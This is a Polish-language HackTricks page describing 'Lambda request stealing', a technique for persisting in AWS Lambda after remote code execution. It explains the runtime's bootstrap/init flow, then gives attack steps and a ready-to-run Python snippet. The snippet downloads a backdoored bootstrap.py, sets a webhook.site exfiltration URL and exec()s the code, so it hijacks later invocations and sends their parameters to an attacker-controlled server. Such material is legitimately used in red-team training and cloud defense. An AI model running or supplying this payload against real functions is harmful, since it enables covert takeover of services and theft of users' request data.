AWS - Kradzież Żądań Lambda

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Przepływ Lambda

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

  1. Slicer to proces poza kontenerem, który wysyła wywołania do procesu init.
  2. Proces init nasłuchuje na porcie 9001, udostępniając kilka interesujących punktów końcowych:
  • /2018-06-01/runtime/invocation/next – pobierz następne zdarzenie wywołania
  • /2018-06-01/runtime/invocation/{invoke-id}/response – zwróć odpowiedź handlera dla wywołania
  • /2018-06-01/runtime/invocation/{invoke-id}/error – zwróć błąd wykonania
  1. bootstrap.py ma pętlę, która pobiera wywołania z procesu init i wywołuje kod użytkownika, aby je obsłużyć (/next).
  2. Na koniec bootstrap.py wysyła do init odpowiedź

Zauważ, że bootstrap ładuje kod użytkownika jako moduł, więc wszelkie wykonania kodu realizowane przez kod użytkownika odbywają się w tym procesie.

Kradzież Żądań Lambda

Celem tego ataku jest sprawienie, aby kod użytkownika wykonał złośliwy proces bootstrap.py wewnątrz procesu bootstrap.py, który obsługuje podatne żądanie. W ten sposób złośliwy proces bootstrap zacznie rozmawiać z procesem init, aby obsługiwać żądania, podczas gdy legit bootstrap jest uwięziony, uruchamiając złośliwy, więc nie będzie prosił o żądania do procesu init.

To proste zadanie do osiągnięcia, ponieważ kod użytkownika jest wykonywany przez legitny proces bootstrap.py. Tak więc atakujący mógłby:

  • Wysłać fałszywy wynik bieżącego wywołania do procesu init, aby init myślał, że proces bootstrap czeka na więcej wywołań.
  • Żądanie musi być wysłane do /${invoke-id}/response
  • invoke-id można uzyskać ze stosu legitnego procesu bootstrap.py za pomocą modułu inspect w Pythonie (jak proponowano tutaj) lub po prostu ponownie żądając go do /2018-06-01/runtime/invocation/next (jak proponowano tutaj).
  • Wykonać złośliwy boostrap.py, który obsłuży następne wywołania
  • Dla celów stealth można wysłać parametry wywołań lambda do kontrolowanego przez atakującego C2, a następnie obsługiwać żądania jak zwykle.
  • Do tego ataku wystarczy pobrać oryginalny kod bootstrap.py z systemu lub github, dodać złośliwy kod i uruchomić go z bieżącego wywołania lambda.

Kroki Ataku

  1. Znajdź podatność RCE.
  2. Wygeneruj złośliwy bootstrap (np. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
  3. Wykonaj złośliwy bootstrap.

Możesz łatwo wykonać te działania, uruchamiając:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Dla uzyskania dodatkowych informacji sprawdź https://github.com/carlospolop/lambda_bootstrap_switcher

Odniesienia

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks